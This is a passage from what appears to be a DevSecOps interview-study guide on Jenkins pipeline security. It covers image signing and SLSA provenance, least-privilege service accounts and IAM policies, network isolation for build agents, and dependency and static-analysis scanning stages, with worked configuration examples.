                                --key \$COSIGN_PUB_KEY \
                                ${IMAGE_NAME}@${env.IMAGE_DIGEST}
                            echo "Signature verified ✅ "
                        """
                    }
                }
            }
        }
```

```
    }
}
```

⚙️ SLSA — Supply Chain Levels for Software Artifacts

```
SLSA (pronounced "salsa") is a framework defining security levels
for software supply chains. Each level adds more requirements.

SLSA Level 1:
  - Build process is documented
  - Provenance (build metadata) exists
  - Build is scripted (Jenkinsfile, Makefile)

SLSA Level 2:
  - Build service is hosted (not local developer machine)
  - Provenance is signed (by the build service)
  - Source is version controlled

SLSA Level 3:
  - Source controlled with history retention
  - Build as a service (isolated builds per job)
  - Build provenance is signed by CI/CD system
  - Dependencies are tracked

SLSA Level 4 (aspirational for most orgs):
  - Two-person review of ALL changes
  - Hermetic builds (fully reproducible, no external network access during
build)
  - Reproducible builds (same source → same binary, byte-for-byte)

Jenkins + SLSA:
  SLSA 1-2: Jenkins with Jenkinsfile in Git + signed provenance
  SLSA 3: Jenkins with ephemeral K8s pod agents (isolated) + Cosign
provenance

Provenance generation in Jenkins:
  // slsa-provenance-action (GitHub Actions native, but Jenkins-compatible
tools exist)
  // Or: manual provenance document generation
  def provenance = [
      buildType: 'https://jenkins.io/pipeline',
      builder:   [id: "https://jenkins.example.com"],
      invocation: [
          configSource: [uri: env.GIT_URL, digest: [sha1:
env.GIT_COMMIT]],
          parameters:   [buildNumber: env.BUILD_NUMBER]
      ],
      metadata: [
          buildStartedOn:  currentBuild.startTimeInMillis,
          buildFinishedOn: System.currentTimeMillis(),
```

```
            completeness:    [parameters: true, environment: false,
materials: true]
        ],
        materials: [[uri: env.GIT_URL, digest: [sha1: env.GIT_COMMIT]]]
    ]
    writeJSON file: 'provenance.json', json: provenance
```

⚙️ Dependency Integrity Verification

```
// Prevent dependency confusion and typosquatting attacks

// Maven: enforce dependency checksums
stage('Dependency Integrity Check') {
    steps {
        sh """
            # Enforce: only use artifacts from our Nexus (no direct
internet)
            # Combined with Nexus proxy that validates checksums against
Maven Central
            mvn verify \
                -s settings.xml \
                --strict-checksums \
                -Dmaven.repo.local=\$WORKSPACE/.m2
        """

        // Detect dependency confusion (private package names that could
be hijacked)
        sh """
            # confusion-checker: finds private packages that exist on
public registries
            pip3 install confused --break-system-packages 2>/dev/null
            cat requirements.txt | grep -v '^#' | cut -d= -f1 | \
                xargs -I{} python3 -c "
import pkg_resources, sys
try:
    pkg_resources.require('{}')
    # Check if this package is on PyPI - could be dependency confusion
    import requests
    r = requests.get('https://pypi.org/pypi/{}/json', timeout=5)
    if r.status_code == 200:
        print('WARNING: Private package {} found on PyPI - verify intent')
except Exception: pass
"
        """
    }
}

// npm: use lockfile verification and audit
stage('Node Dependency Security') {
    steps {
```

```
        sh """
            # Verify package-lock.json integrity
            npm ci --audit    # ci = clean install, reads lock file
exactly
            # --audit: checks installed packages against npm audit
database

            # Additional: check for known vulnerabilities
            npm audit --audit-level=high  # Fail on high/critical
vulnerabilities
        """
    }
}

// Pin all base images to digest (not tag)
// In Dockerfile:
// FROM ubuntu:22.04   ← BAD: :22.04 tag can be updated to point to
different image
// FROM ubuntu@sha256:abcdef...  ← GOOD: exact image content, immutable
```

⚙️ Image Verification at Deployment

```
# Kubernetes admission controller: Sigstore Policy Controller
# Enforces: only admit pods whose images have a valid Cosign signature

# Install Policy Controller:
helm install policy-controller sigstore/policy-controller \
    --namespace cosign-system \
    --create-namespace

# Create ClusterImagePolicy to require signatures:
cat <<EOF | kubectl apply -f -
apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-signed-images
spec:
  images:
  - glob: "registry.example.com/**"    # All images from our registry
  authorities:
  - key:
      secretRef:
        name: cosign-public-key        # Our cosign public key
        namespace: cosign-system
EOF
# Now: any pod trying to use an unsigned image from registry.example.com
is REJECTED
# by the admission controller before it can run
```

🔑 Key Concepts

Concept	Meaning
SBOM	Machine-readable inventory of all software components in an artifact
Cosign	Sigstore tool for signing and verifying container image signatures
Sigstore	Open standard for software signing — Cosign + Fulcio + Rekor
Fulcio	Certificate authority that issues short-lived certs for keyless signing
Rekor	Immutable transparency log — records all signing events publicly
Keyless signing	Sign with OIDC identity — no long-lived key to protect
Attestation	Signed metadata attached to an image (SBOM, test results, provenance)
SLSA	Framework defining supply chain security maturity levels (1-4)
Provenance	Signed record of exactly how and where an artifact was built
Dependency confusion	Attack where a public package name matches an internal one
Syft	Tool that generates SBOMs from containers, filesystems, or archives
Image digest	SHA256 hash of image content — immutable (unlike tags)

💬 Short Crisp Interview Answer

> *"Supply chain security ensures that what you deploy is exactly what you built from trusted source code. Three mechanisms: SBOMs, image signing, and provenance. SBOMs (generated by Syft or CycloneDX Maven plugin) are machine-readable inventories of every dependency in a build artifact — critical for rapid vulnerability response: when Log4Shell hit, teams with SBOMs knew in minutes which services were affected; teams without them spent days grepping code. Image signing with Cosign/Sigstore creates a cryptographic link between an image digest and the CI pipeline that produced it. Keyless signing is preferred — the signature uses the CI job's OIDC identity as the key, recorded in Sigstore's Rekor transparency log, so there's no long-lived signing key to protect. At deploy time, Kubernetes admission controllers (Sigstore Policy Controller) can enforce that only signed images matching your organization's signature run in the cluster. SLSA is the maturity framework: Level 1-2 is scripted builds in CI; Level 3 adds isolated ephemeral build environments and signed provenance; Level 4 requires hermetically reproducible builds."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **Sign the IMAGE DIGEST, not the tag.** Tags are mutable — `myapp:latest` today points to a different image than `myapp:latest` tomorrow. Cosign signatures are attached to the immutable SHA256 digest. Always sign `registry.example.com/myapp@sha256:abc123` — use `--digest-file` in Kaniko to capture the pushed digest.
- **SBOM completeness depends on when you generate it.** Generating the SBOM from the built Docker image (after `docker push`) captures all layers including the runtime OS packages. Generating from the source code directory captures only application dependencies — misses OS-

level vulnerabilities. Generate both: one from source (for developer visibility) and one from the final image (for security compliance).

- **Rekor transparency log is PUBLIC.** All keyless Cosign signatures are recorded in Sigstore's public Rekor instance. This means your build metadata (job name, git commit, timestamp) is publicly visible. For sensitive internal projects, run a private Rekor instance or use key-based signing.
- **Dependency confusion attacks target internal package names.** If your internal npm package is named `company-auth` and an attacker publishes `company-auth` on the public npm registry, `npm install` may fetch the attacker's version (depending on registry configuration). Mitigation: use private registries exclusively, scope all internal packages with `@company/`, use `npm ci` (respects lockfile), and enable Nexus/Artifactory's "block external requests for private names" feature.

Topic 7.4 — Least Privilege in Pipelines: Service Accounts, RBAC

🟡 Intermediate | Minimizing the Blast Radius

📌 What It Is — In Simple Terms

Least privilege means giving each component (pipeline, service account, credential) only the minimum permissions needed to do its job — nothing more. In CI/CD, this limits the damage when something goes wrong: a compromised build agent, a leaked credential, or a malicious pipeline can only affect what that component was authorized to touch.

🔍 Why Least Privilege Is Hard in CI/CD

```
The "convenience vs security" tension in CI/CD:
  Developer: "My pipeline needs to deploy to Kubernetes"
  Quick answer: "Here's a kubeconfig with cluster-admin — it works for
everything"

  Secure answer: "Here's a ServiceAccount with RBAC limited to:
    - get/list/create/update Deployments in the 'myapp' namespace
    - get/list/create/update Services in the 'myapp' namespace
    No cluster-admin. No access to other namespaces. No secret reading."

  The secure answer takes 20 more minutes to set up.
  Most teams choose cluster-admin.

  Consequence:
    Build pipeline compromised → attacker has cluster-admin
    → Can delete all namespaces
    → Can read all Secrets in all namespaces (database passwords, API
keys)
    → Can create privileged pods to escape to the host
    → Full cluster ownership from one compromised build agent
```

⚙️ Jenkins Service Account Design

```
Jenkins principal types and their privilege levels:

1. Jenkins process itself (OS user)
   - Should run as a dedicated low-privilege OS user (e.g., 'jenkins')
   - NOT root — if the JVM is exploited, attacker gets jenkins user, not
root
   - Jenkins home directory: only readable/writable by jenkins user

2. Jenkins Controller service account (Kubernetes)
   - Pod ServiceAccount for the Jenkins Controller pod
   - Needs: Kubernetes API access to create/delete agent pods
   - Scope: only in the jenkins namespace (or with limited cross-namespace
access)

3. Jenkins build agent service account (Kubernetes)
   - Pod ServiceAccount for agent build pods
   - Needs: whatever the build step requires
   - Each team's builds should use a separate ServiceAccount with scoped
permissions
```

```yaml
# Minimal Kubernetes RBAC for Jenkins Controller
# (allows it to create/manage agent pods in the jenkins-builds namespace)
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: jenkins-controller
  namespace: jenkins
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: jenkins-agent-manager
  namespace: jenkins-builds   # Only in the build namespace
rules:
  - apiGroups: [""]
    resources: ["pods", "pods/exec", "pods/log", "persistentvolumeclaims"]
    verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["get", "list", "create", "update", "patch", "delete"]
  # NO: secrets access (Jenkins Controller shouldn't read build secrets)
  # NO: namespace-level permissions
  # NO: cluster-level resources
---
```

```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: jenkins-agent-manager-binding
  namespace: jenkins-builds
subjects:
  - kind: ServiceAccount
    name: jenkins-controller
    namespace: jenkins
roleRef:
  kind: Role
  name: jenkins-agent-manager
  apiGroup: rbac.authorization.k8s.io
```

```yaml
# Build agent service account — per team, per environment level
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: jenkins-build-staging
  namespace: jenkins-builds
  annotations:
    # IRSA: this SA can assume the AWS IAM role for staging deployments
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/jenkins-
staging-deployer
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: staging-deployer
  namespace: staging   # Only in staging namespace
rules:
  - apiGroups: ["apps"]
    resources: ["deployments", "replicasets"]
    verbs: ["get", "list", "create", "update", "patch"]
  - apiGroups: [""]
    resources: ["services", "configmaps"]
    verbs: ["get", "list", "create", "update", "patch"]
  # NOT: secrets (use Vault for secrets, not K8s secrets directly)
  # NOT: delete (don't allow CI to delete production resources)
  # NOT: production namespace access
---
# Separate, higher-privilege SA for production deploys
apiVersion: v1
kind: ServiceAccount
metadata:
  name: jenkins-build-production
  namespace: jenkins-builds
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/jenkins-
production-deployer
```

⚙️ Credential Scoping in Jenkins

```
Credential visibility (from most restrictive to least):

SYSTEM scope:
  Only accessible by Jenkins infrastructure itself
  Not available in any pipeline Groovy code
  Use for: agent connection credentials, email server credentials
  Risk if leaked: Jenkins configuration access only (not build code)

FOLDER scope:
  Only accessible by jobs inside that specific folder
  The strongest isolation for team credentials
  Use for: team-specific production credentials, API keys per service
  Risk if leaked: only that team's systems affected

GLOBAL scope:
  Accessible by ALL jobs on Jenkins
  Use only for: organization-wide shared credentials (Nexus, shared
SonarQube token)
  Risk if leaked: all services potentially affected

Implementation:
  team-alpha/
    → Folder credential: team-alpha-prod-db-password (FOLDER scope)
    → Only jobs in team-alpha/ can use this credential
    → Team Beta's pipeline: "No such credential found" even with exact ID
```

```
// Demonstrating credential scope enforcement:

// In team-alpha/myservice pipeline:
withCredentials([string(credentialsId: 'team-alpha-prod-db-password',
                        variable: 'DB_PASS')]) {
    sh 'psql ...'   // ✅ Works — in team-alpha folder
}

// In team-beta/theirservice pipeline:
withCredentials([string(credentialsId: 'team-alpha-prod-db-password',
                        variable: 'DB_PASS')]) {
    sh 'psql ...'   // ❌ Fails — credential not visible from team-beta
folder
}
// Error: "CredentialsUnavailableException: No credentials found"
```

⚙️ AWS IAM Least Privilege for CI/CD

```
Anti-pattern: AdministratorAccess for CI
  Effect: Allow
  Action: "*"
  Resource: "*"
  → CI can do ANYTHING in the AWS account — delete databases, read
secrets, create users

Correct pattern: Scoped deployment policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ECRAccess",
            "Effect": "Allow",
            "Action": [
                "ecr:GetAuthorizationToken",
                "ecr:BatchCheckLayerAvailability",
                "ecr:GetDownloadUrlForLayer",
                "ecr:BatchGetImage",
                "ecr:PutImage",
                "ecr:InitiateLayerUpload",
                "ecr:UploadLayerPart",
                "ecr:CompleteLayerUpload"
            ],
            "Resource": [
                "arn:aws:ecr:us-east-1:123456789012:repository/myapp",
                "arn:aws:ecr:us-east-1:123456789012:repository/myapp/*"
            ]
            // NOT: * — only this specific ECR repo
        },
        {
            "Sid": "EKSDescribe",
            "Effect": "Allow",
            "Action": ["eks:DescribeCluster"],
            "Resource": "arn:aws:eks:us-east-
1:123456789012:cluster/production-cluster"
            // Only the specific cluster
        },
        {
            "Sid": "S3ArtifactBucket",
            "Effect": "Allow",
            "Action": ["s3:GetObject", "s3:PutObject", "s3:ListBucket"],
            "Resource": [
                "arn:aws:s3:::myapp-artifacts-bucket",
                "arn:aws:s3:::myapp-artifacts-bucket/*"
            ]
            // NOT: all S3 buckets
        }
        // NOT: IAM actions (create/delete users, roles, policies)
        // NOT: RDS actions (could drop production databases)
        // NOT: Secrets Manager full access (only specific secrets if
needed)
```

```
    ]
}
```

⚙️ Build Agent Network Isolation

```yaml
# Kubernetes NetworkPolicy: restrict what build agents can reach
# Build pods should only reach: git servers, registries, their deployment
targets
# NOT: other internal services, other namespaces, the IMDS service of
other pods

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: build-agent-isolation
  namespace: jenkins-builds
spec:
  podSelector:
    matchLabels:
      jenkins: agent
  policyTypes:
  - Egress
  - Ingress
  egress:
  # Allow: Jenkins Controller communication
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: jenkins
    ports:
    - port: 50000   # JNLP agent port
    - port: 8080    # Jenkins HTTP

  # Allow: DNS resolution
  - to: []
    ports:
    - port: 53
      protocol: UDP
    - port: 53
      protocol: TCP

  # Allow: Container registry (Kaniko push)
  - to: []
    ports:
    - port: 443  # HTTPS to registries

  # Allow: Git server
  - to:
    - namespaceSelector: {}
      podSelector:
```

```
        matchLabels:
          app: gitlab   # or gitea, gitea, etc.
    ports:
    - port: 443
    - port: 22   # SSH

  ingress: []   # No inbound connections to build pods

# Result: build pods CANNOT reach:
# - Other build pods (no lateral movement between concurrent builds)
# - Production databases (even if they have the credentials somehow)
# - Internal microservices (no unauthorized API calls)
# - Other namespaces' pods directly
```

🔑 Key Concepts

Concept	Meaning
Least privilege	Minimum permissions required — nothing more
Blast radius	How much damage can be done if a component is compromised
FOLDER scope	Jenkins credential visible only to jobs inside that folder
ServiceAccount per team	Different K8s SAs for different teams' builds → different IAM roles
NetworkPolicy	K8s rule restricting what networks build pods can reach
IAM role per pipeline	CI pipeline gets only the permissions it specifically needs
IRSA	IAM Roles for Service Accounts — maps K8s SA to scoped AWS IAM role
Deny by default	Everything blocked unless explicitly allowed (K8s NetworkPolicy, AWS SCPs)
Privilege escalation	Using a lower-privilege identity to gain higher-privilege access
Ephemeral credentials	Short-lived credentials that minimize exposure window

---

💬 Short Crisp Interview Answer

> *"Least privilege in CI/CD means every component — build agent, pipeline credential, service account — has exactly the permissions it needs and nothing more. Three layers: Jenkins RBAC (Role Strategy with folder-scoped credentials — Team Alpha can't access Team Beta's production database password), Kubernetes RBAC (separate ServiceAccount per team with minimal Role, not cluster-admin), and cloud IAM (scoped IAM policy per pipeline role — only the specific ECR repos, EKS clusters, and S3 buckets that service needs). The common failure is convenience: giving cluster-admin to CI 'because it works for everything.' The consequence: one compromised build agent means the attacker has cluster-admin — can read all Secrets, delete all Deployments, create privileged pods. Least privilege limits blast radius: a compromised staging build agent can only affect*

> *the staging namespace, not production. Network policies complete the picture: build pods are isolated from reaching internal services directly, even if they somehow obtain credentials."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **Shared build agents mean shared blast radius.** If 50 different teams' builds run on the same pool of K8s pods using the same ServiceAccount, a compromise of any one build means all 50 teams' access is exposed. Use separate ServiceAccounts (and separate node pools if needed) per team or per security tier.
- **Jenkins `Run/Replay` is a privilege escalation vector.** Any user with `Run/Replay` permission can modify a Jenkinsfile for a specific build and rerun it — effectively executing arbitrary code in the context of whatever credentials that pipeline has access to. Restrict `Run/Replay` to trusted users, not all developers.
- **Workspace cleanup is a least-privilege concern.** Workspace files from one build (including any secrets written to files) persist on the agent until the next build or explicit cleanup. With `cleanWs()` only in `post { success }`, a failed build leaves secrets in the workspace. Use `post { always { cleanWs() } }` or configure workspace cleanup on agent termination.
- **K8s `exec` into build pods bypasses credential controls.** If an attacker (or privileged developer) can `kubectl exec` into a running build pod, they can `env` to list all environment variables including any injected credentials. Restrict `pods/exec` in the build ServiceAccount's Role to only what Jenkins itself needs.

Topic 7.5 — Dependency Scanning and SAST in Pipelines

🟡 Intermediate | Shifting Security Left

📌 What It Is — In Simple Terms

Dependency scanning (also called Software Composition Analysis / SCA) detects known vulnerabilities in third-party libraries your code uses. **SAST (Static Application Security Testing)** analyzes your own source code for security vulnerabilities — without running it. Both integrate into Jenkins pipelines as stages that run automatically on every build, blocking the pipeline if critical issues are found. This is "Shift Left Security" — finding vulnerabilities in CI rather than in production.

🔍 Why This Belongs in CI (Not Just Security Team Reviews)

```
Without pipeline security scanning:
  Developer adds vulnerable library → merged to main → deployed →
exploited
  Security team runs quarterly scan → finds vulnerability → ALREADY IN
PRODUCTION
```

```
  Fix requires emergency patch + deploy during business hours → expensive,
stressful

With pipeline security scanning:
  Developer adds vulnerable library → CI runs dependency scan → BLOCKED
  Developer sees: "lodash 4.17.20 has a critical prototype pollution
vulnerability"
  Developer updates to 4.17.21 before the PR is merged → never reaches
production
  Cost: 5 minutes to update the dependency

  SAST similarly:
  Developer introduces SQL injection → pipeline SAST detects it → blocked
before review
  Reviewer doesn't need to spot the vulnerability manually
```

⚙️ Dependency Scanning Tools

```
Tool            Language Support    Output            Notes
──────────────────────────────────────────────────────────────────────────
Trivy           All (+ containers) JSON, SARIF, Table Most comprehensive
Snyk            All                JSON, HTML         Commercial + free
tier
OWASP Dep-Check Java, .NET, JS     XML, JSON, HTML    Open source classic
Grype           Containers, files  JSON, table        Fast, Syft-
compatible
npm audit       Node.js            JSON               Built into npm
pip-audit       Python             JSON               Built into pip
bundler-audit   Ruby               Text               Gems only
govulncheck     Go                 Text, JSON         Official Go tool
```

```
// ── TRIVY: Comprehensive vulnerability scanning ──────────────────────
stage('Dependency Scan') {
    steps {
        // Scan 1: Application dependencies (filesystem scan)
        sh """
            trivy fs \
                --exit-code 0 \
                --severity HIGH,CRITICAL \
                --format sarif \
                --output trivy-deps.sarif \
                --ignore-unfixed \
                .
        """

        // Scan 2: Container image (after build)
        sh """
            trivy image \
```

```
                --exit-code 1 \
                --severity CRITICAL \
                --format json \
                --output trivy-image.json \
                --ignore-unfixed \
                ${IMAGE_NAME}:${env.IMAGE_TAG}
        """
        // --exit-code 1: fail build only for CRITICAL (not HIGH on
container scan)
        // --ignore-unfixed: don't fail on vulns with no available fix
    }
    post {
        always {
            archiveArtifacts artifacts: 'trivy-*.json,trivy-*.sarif',
                             allowEmptyArchive: true
            // Publish SARIF to GitHub Security tab (via GitHub Advanced
Security)
            // recordIssues tool: trivy(pattern: 'trivy-deps.sarif')
        }
    }
}

// ── OWASP Dependency Check: Deep Java/JS/Python scanning ──────────
stage('OWASP Dependency Check') {
    steps {
        dependencyCheck(
            additionalArguments: """
                --project "myapp"
                --scan "."
                --format "XML" --format "HTML" --format "JSON"
                --out "dependency-check-report"
                --suppression ".nvdsupressions.xml"
                --failOnCVSS 7
                --enableRetired
            """,
            odcInstallation: 'OWASP-Dependency-Check'
        )
    }
    post {
        always {
            dependencyCheckPublisher(
                pattern: 'dependency-check-report/dependency-check-
report.xml',
                failedTotalCritical: 1,
                failedTotalHigh: 5
            )
        }
    }
}

// ── npm audit: Node.js dependencies ──────────────────────────────
stage('npm Security Audit') {
    steps {
        sh """
```

```
            npm audit \
                --audit-level=critical \
                --json > npm-audit.json || true
            # Parse and fail on critical:
            CRITICAL=\$(cat npm-audit.json | python3 -c "
import sys, json
d = json.load(sys.stdin)
print(d.get('metadata', {}).get('vulnerabilities', {}).get('critical', 0))
")
            if [ "\$CRITICAL" -gt "0" ]; then
                echo "Found \$CRITICAL critical vulnerabilities ❌"
                cat npm-audit.json | python3 -c "
import sys, json
d = json.load(sys.stdin)
for name, vuln in d.get('vulnerabilities', {}).items():
    if vuln.get('severity') == 'critical':
        print(f'{name}: {vuln.get(\"title\", \"\")} - {vuln.get(\"url\",
\"\")}')
"
                exit 1
            fi
        """
    }
}

// ── pip-audit: Python dependencies ──────────────────────────────
stage('Python Dependency Audit') {
    steps {
        sh """
            pip install pip-audit --break-system-packages
            pip-audit \
                --requirement requirements.txt \
                --format json \
                --output pip-audit.json \
                -s osv  # Use OSV database (Open Source Vulnerabilities)
        """
    }
}
```

⚙️ SAST Tools — Static Application Security Testing

```
Tool            Primary Use         Languages       Notes
──────────────────────────────────────────────────────────────────────
Semgrep         Multi-pattern SAST  30+ languages   Fast, rule-based, free
SonarQube       SAST + quality      30+ languages   Already in pipeline
(6.4)
Bandit          Python SAST         Python          OWASP recommended
SpotBugs/FindSec Java SAST          Java            Bugs + security bugs
Brakeman        Rails SAST          Ruby/Rails
Gosec           Go SAST             Go
```

```
ESLint-security JS SAST             JS/TS           Plugin for ESLint
Checkov         IaC SAST            Terraform, K8s  Infrastructure
security
tfsec           Terraform SAST      Terraform       Terraform-specific
```

```
// ── SEMGREP: Fast multi-language SAST ──────────────────────────────
stage('SAST - Semgrep') {
    steps {
        sh """
            # Semgrep OSS (open source)
            docker run --rm \
                -v \$(pwd):/src \
                returntocorp/semgrep:latest semgrep \
                --config=auto \
                --config=p/owasp-top-ten \
                --config=p/secrets \
                --config=p/jenkins \
                --json \
                --output /src/semgrep-results.json \
                --error \
                --severity ERROR \
                /src
        """
        // --error: exit non-zero if any findings
        // --severity ERROR: only fail on high-severity findings (not
warnings)
    }
    post {
        always {
            archiveArtifacts artifacts: 'semgrep-results.json',
                             allowEmptyArchive: true
            script {
                if (fileExists('semgrep-results.json')) {
                    def results = readJSON file: 'semgrep-results.json'
                    def errors  = results.results?.findAll {
it.extra?.severity == 'ERROR' }
                    if (errors?.size() > 0) {
                        currentBuild.description = "SAST: ${errors.size()}
findings"
                    }
                }
            }
        }
    }
}

// ── CHECKOV: Infrastructure as Code SAST ──────────────────────────
stage('IaC Security Scan') {
    steps {
        sh """
            checkov \
```

```
                -d terraform/ \
                -d k8s/ \
                --framework terraform kubernetes \
                --output json \
                --output-file-path checkov-results/ \
                --compact \
                --quiet \
                --hard-fail-on HIGH,CRITICAL
        """
        // Checks for common IaC misconfigurations:
        // - Kubernetes: containers running as root, missing resource
limits
        // - Terraform: S3 buckets not encrypted, security groups with
0.0.0.0/0
        // - K8s: privileged containers, missing network policies
    }
    post {
        always {
            archiveArtifacts artifacts: 'checkov-results/**',
allowEmptyArchive: true
        }
    }
}

// ── BANDIT: Python-specific SAST ──────────────────────────────
stage('Python SAST') {
    steps {
        sh """
            pip install bandit --break-system-packages
            bandit \
                -r src/ \
                -ll \
                -i \
                -f json \
                -o bandit-results.json || true
            # -ll: only medium and above
            # -i: only medium confidence and above
            python3 -c "
import json, sys
with open('bandit-results.json') as f: d = json.load(f)
high_sev = [r for r in d['results'] if r['issue_severity'] == 'HIGH']
if high_sev:
    print(f'❌ {len(high_sev)} HIGH severity findings:')
    for r in high_sev[:10]:
        print(f'  {r[\"filename\"]}:{r[\"line_number\"]} -
{r[\"issue_text\"]}')
    sys.exit(1)
"
        """
    }
}
```

⚙️ Complete Security Pipeline — Integrating All Scanning

```
// Production-grade security pipeline integrating all scanning types

pipeline {
    agent {
        kubernetes {
            yaml '''
spec:
  containers:
  - name: jnlp
    image: jenkins/inbound-agent:3206.vb_15dcf73f6b_9-1-jdk17
  - name: trivy
    image: aquasec/trivy:0.48.3
    command: ["cat"]
    tty: true
  - name: semgrep
    image: returntocorp/semgrep:latest
    command: ["cat"]
    tty: true
  - name: checkov
    image: bridgecrew/checkov:latest
    command: ["cat"]
    tty: true
'''
        }
    }

    stages {
        stage('Build') {
            steps {
                sh 'mvn clean package'
            }
        }

        // Run all security scans in parallel (faster than sequential)
        stage('Security Scans') {
            parallel {
                stage('Dependency Scan') {
                    steps {
                        container('trivy') {
                            sh """
                                trivy fs \
                                    --exit-code 1 \
                                    --severity CRITICAL \
                                    --ignore-unfixed \
                                    --format json \
                                    --output trivy-deps.json \
                                    .
                            """
                        }
                    }
```

```
                }

                stage('SAST') {
                    steps {
                        container('semgrep') {
                            sh """
                                semgrep \
                                    --config=p/owasp-top-ten \
                                    --config=p/secrets \
                                    --json \
                                    --output semgrep.json \
                                    --severity ERROR \
                                    --error \
                                    src/
                            """
                        }
                    }
                }

                stage('IaC Scan') {
                    steps {
                        container('checkov') {
                            sh """
                                checkov -d terraform/ k8s/ \
                                    --output json \
                                    --output-file-path checkov-results/ \
                                    --hard-fail-on HIGH,CRITICAL || true
                            """
                        }
                    }
                }

                stage('Secret Scan') {
                    steps {
                        sh """
                            docker run --rm \
                                -v \$(pwd):/repo:ro \
                                zricethezav/gitleaks:latest detect \
                                --source /repo \
                                --exit-code 1
                        """
                    }
                }
            }
            post {
                always {
                    archiveArtifacts artifacts: 'trivy-
*.json,semgrep.json,checkov-results/**',
                                     allowEmptyArchive: true
                }
            }
        }

        stage('SonarQube Analysis') {
```

```
            steps {
                withSonarQubeEnv('SonarQube') {
                    sh 'mvn sonar:sonar'
                }
            }
        }

        stage('Quality + Security Gate') {
            steps {
                timeout(time: 10, unit: 'MINUTES') {
                    def qg = waitForQualityGate(abortPipeline: false)
                    if (qg.status != 'OK') {
                        error("Quality Gate failed: ${qg.status}")
                    }
                }
            }
        }

        stage('Build & Scan Image') {
            steps {
                sh "docker build -t myapp:${env.BUILD_NUMBER} ."
                container('trivy') {
                    sh """
                        trivy image \
                            --exit-code 1 \
                            --severity CRITICAL \
                            --ignore-unfixed \
                            --format json \
                            --output trivy-image.json \
                            myapp:${env.BUILD_NUMBER}
                    """
                }
            }
        }
    }

    post {
        failure {
            slackSend(
                channel: '#security-alerts',
                color: 'danger',
                message: "🔒 Security scan FAILED: ${env.JOB_NAME}
#${env.BUILD_NUMBER}\n${env.BUILD_URL}"
            )
        }
    }
}
```

⚙️ Vulnerability Threshold Management

```
// Not all vulnerabilities warrant blocking the build
// Strategy: block on CRITICAL, warn on HIGH, report LOW/MEDIUM

stage('Vulnerability Assessment') {
    steps {
        script {
            def trivyOutput = readJSON file: 'trivy-image.json'
            def criticals = 0
            def highs     = 0
            def mediums   = 0

            trivyOutput.Results?.each { result ->
                result.Vulnerabilities?.each { vuln ->
                    switch (vuln.Severity) {
                        case 'CRITICAL': criticals++; break
                        case 'HIGH':     highs++; break
                        case 'MEDIUM':   mediums++; break
                    }
                }
            }

            echo "Vulnerability Summary: CRITICAL=${criticals}
HIGH=${highs} MEDIUM=${mediums}"
            currentBuild.description = "CRIT:${criticals} HIGH:${highs}
MED:${mediums}"

            // Block: any Critical (no exceptions)
            if (criticals > 0) {
                error("Build blocked: ${criticals} CRITICAL
vulnerabilities found")
            }

            // Warn: Highs (don't block — may have accepted risk or no fix
available)
            if (highs > 5) {
                unstable("Warning: ${highs} HIGH vulnerabilities — review
required")
            }

            // Report: Mediums (informational only)
            echo "Note: ${mediums} MEDIUM vulnerabilities — see full
report in artifacts"
        }
    }
}
```

⚙️ Vulnerability Suppression / False Positive Management

```
# trivy.yaml: suppress known false positives or accepted risks
trivyignore: |
  # CVE-YYYY-NNNNN: reason for suppression, accepted by: name, date: YYYY-
MM-DD, expiry: YYYY-MM-DD
  CVE-2023-44487     # HTTP/2 Rapid Reset: mitigated at load balancer, not
app layer. Accepted: security-team, 2023-10-15

# .trivyignore file in repository root — auto-picked up by trivy
# Each suppression must include: CVE, reason, owner, date, expiry date
(review schedule)
```

```
<!-- OWASP Dependency Check suppression file -->
<!-- .nvdsupressions.xml -->
<suppressions
xmlns="https://jeremylong.github.io/DependencyCheck/dependency-
suppression.1.3.xsd">
   <suppress>
      <notes>
          This vulnerability requires attacker access to the local
filesystem.
          Our deployment model uses containers with no direct filesystem
access.
          Accepted by: security-team on 2024-01-15. Review by: 2024-04-15.
      </notes>
      <cve>CVE-2023-12345</cve>
   </suppress>
</suppressions>
```

🔑 Key Concepts

Concept	Meaning
SCA	Software Composition Analysis — scans third-party dependencies
SAST	Static Application Security Testing — scans your own source code
DAST	Dynamic Application Security Testing — tests running application (not in CI typically)
SBOM	Bill of materials — inventory of dependencies (see 7.3)
CVSS	Common Vulnerability Scoring System — 0-10 severity scale
`--ignore-unfixed`	Skip vulnerabilities with no available fix — reduces noise
SARIF	Static Analysis Results Interchange Format — standard output format for tooling integration
Semgrep rules	Pattern-matching rules for code analysis — custom rules possible

Concept	Meaning
Checkov	IaC scanner — finds misconfigurations in Terraform, K8s YAML, Dockerfiles
Vulnerability suppression	Accept a known risk with documentation (not ignore permanently)
Shift Left	Find security issues in development/CI, not in production

---

💬 Short Crisp Interview Answer

> *"Dependency scanning and SAST in pipelines implement 'shift left security' — catching vulnerabilities before they reach production rather than during quarterly security reviews. Dependency scanning (SCA tools like Trivy, OWASP Dependency Check, npm audit) checks third-party libraries against CVE databases. SAST tools (Semgrep, SonarQube security rules, Bandit for Python) analyze your own source code for vulnerabilities like SQL injection, XSS, hardcoded secrets, and insecure crypto. Pipeline design: run both scans in parallel (not sequential) to minimize build time. Severity thresholds matter — blocking on every Medium vulnerability creates noise and alert fatigue. A practical policy: CRITICAL = always block, HIGH = block unless suppressed with documented business justification, Medium/Low = report only. Vulnerability suppression files (`.trivyignore`, Dependency Check XML) let teams accept known risks with mandatory fields: CVE, reason, approver, date, and expiry — the expiry forces a scheduled review. For IaC files, Checkov and tfsec catch infrastructure misconfigurations (S3 buckets public, containers running as root) at the same stage."*

⚠ Tricky Edge Cases & Gotchas

